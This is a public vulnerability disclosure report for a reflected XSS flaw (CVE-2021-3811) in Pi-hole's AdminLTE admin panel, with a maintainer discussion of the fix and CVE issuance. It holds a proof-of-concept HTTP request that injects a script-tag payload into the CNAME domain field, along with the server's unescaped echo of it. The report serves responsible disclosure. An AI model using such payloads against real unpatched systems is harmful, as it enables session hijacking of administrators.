Cross-site Scripting (XSS) - Reflected in pi-hole/adminlte

0

Valid Reported on Sep 1st 2021

✍️ Description

Reflected XSS in `POST /admin/scripts/pi-hole/php/customcname.php`

🦹 Proof of Concept

Login as admin, Go to Local DNS -> CNAME Records -> Add a new CNAME record
Input `<script>alert(1)</script>` in domain field and anything in target domain.
The Payload in post body domain is URL encoded, use a proxy like burp to manually replace with the decoded value.

```
POST /admin/scripts/pi-hole/php/customcname.php HTTP/2
Host: pihole.example.com
Cookie: persistentlogin=***; persistentlogin=***; PHPSESSID=***
Content-Length: 109
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="92"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://pihole.example.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://pihole.example.com/admin/cname_records.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

action=add&domain=<script>alert(1)</script>&target=a&token=***
```

```
HTTP/2 200 OK
Server: nginx/1.21.1
Date: Wed, 01 Sep 2021 10:36:59 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 78
Access-Control-Allow-Origin: https://pihole.example.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Pi-Hole: The Pi-hole Web interface is working!
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000

{"success":false,"message":"Domain '<script>alert(1)<\/script>' is not vali
```

💥 Impact

Reflected XSS on POST parameter "domain".

Occurrences

func.php L294 func.php L401 func.php L312

CVE
CVE-2021-3811
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Reflected

Severity
Medium (6.7)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

wtwver
@wtwver
unranked

Fixed by

wtwver
@wtwver
unranked

This report was seen 640 times.

We have contacted a member of the **pi-hole/adminlte** team and are waiting to hear back
a year ago

wtwver submitted a **patch** a year ago

Adam Warner validated this vulnerability a year ago

wtwver has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

Adam Warner marked this as fixed with commit **f52671** a year ago

wtwver has been awarded the fix bounty ✅

This vulnerability will not receive a CVE ❌

wtwver a year ago — Researcher

@admin Could u assists in issuing a CVE? Thanks a lot

Jamie Slome a year ago — Admin

We are able to issue a CVE here, we just need double confirmation from the maintainer that they are happy for this to go ahead.

@maintainer?

Adam Warner a year ago — Maintainer

👍

Jamie Slome a year ago — Admin

CVE published! 🎉

Adam Warner a year ago — Maintainer

https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-5q5w-qm5m-49qq

Sign in to join this conversation